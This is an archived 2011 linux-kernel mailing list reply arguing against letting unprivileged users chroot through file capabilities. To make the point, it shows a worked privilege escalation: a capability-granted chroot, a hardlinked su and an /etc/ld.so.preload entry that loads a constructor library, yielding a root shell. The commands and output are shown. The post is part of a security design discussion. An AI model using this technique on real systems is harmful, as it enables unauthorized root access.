linux-kernel - Re: chroot(2) and bind mounts as non-root

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <1324050284.3734.14.camel@lenny>
Date:	Fri, 16 Dec 2011 10:44:44 -0500
From:	Colin Walters <walters@...bum.org>
To:	"Andrew G. Morgan" <morgan@...nel.org>
Cc:	Alan Cox <alan@...rguk.ukuu.org.uk>,
	"H. Peter Anvin" <hpa@...or.com>,
	LKML <linux-kernel@...r.kernel.org>, serue@...ibm.com,
	dhowells@...hat.com, kzak@...hat.com
Subject: Re: chroot(2) and bind mounts as non-root

On Thu, 2011-12-15 at 10:55 -0800, Andrew G. Morgan wrote:
> I'm genuinely confused whether all these concerns are valid with file
> capabilities.
> 
> Consider (let's say luser is some user that I want to be active inside
> the chroot, but I don't want to allow regular login to my system):

Then we already have different deployment scenarios.  You seem to be
imagining a system where some user has an environment preconfigured by a
system administrator.  My constraint (read my previous posts) is that
the functionality must be available "out of the box" on a mainstream
"distro" such as RHEL or Debian to any uid.  I don't even want to
require addition to some magical group (that in reality is often a root
backdoor anyways).

> root> setcap cap_sys_chroot=ep /tmp/launcher
> Is there a need for privileged binaries within /tmp/chroot? If not,
> how might they get there (without help from root, always presuming I
> can prevent luser from logging in outside of this chroot'd
> environment)?

First of all, as I mentioned in my original mail (and is still in the
Subject line), chroot(2) *almost* gets me what I want - except I need
the ability to at least mount /proc, and being able to do bind mounts is
necessary to use /dev. 

But let's just ignore the bind mounts for a second and pretend
cap_sys_chroot is enough.  Is your suggestion that we could distribute a
copy of /usr/sbin/chroot that grants cap_sys_chroot via file caps a
secure thing to add to util-linux?  Or we could just add it to
coreutils?

See the attached shell script for an attack that should work against
*any* setuid binary that uses glibc.  I wrote this without looking at
other exploits on the internet, just reading the glibc sources - mainly
for my own edification.

It turns out in this case glibc trusts the contents of /etc, and in
particular /etc/ld.so.preload.  So all I need to do is make a shared
library that just runs /bin/bash as a __attribute__ ((constructor)), and
when the glibc dynamic linker is loading /bin/su that I've hardlinked
into the chroot, game over:

$ cp /usr/sbin/chroot /usr/local/bin/fcaps-chroot
$ sudo setcap cap_sys_chroot=ep /usr/local/bin/fcaps-chroot
$ ./chroot-with-su.sh
$ fcaps-chroot mychroot
(now inside the chroot, but still uid=500)
$ echo /lib64/rootshell.so > /etc/ld.so.preload
$ su -
uid=500; euid=0; starting /bin/bash
# id        
uid=0 gid=500 groups=500

The glibc linker also doesn't check that e.g. /lib64/libc.so.6 is owned
by root - clearly I could just replace that with whatever I want.  But
this is less typing.  Note glibc isn't buggy here, it was designed in a
world where unprivileged users can't chroot.

Download attachment "chroot-with-su.sh" of type "application/x-shellscript" (1121 bytes)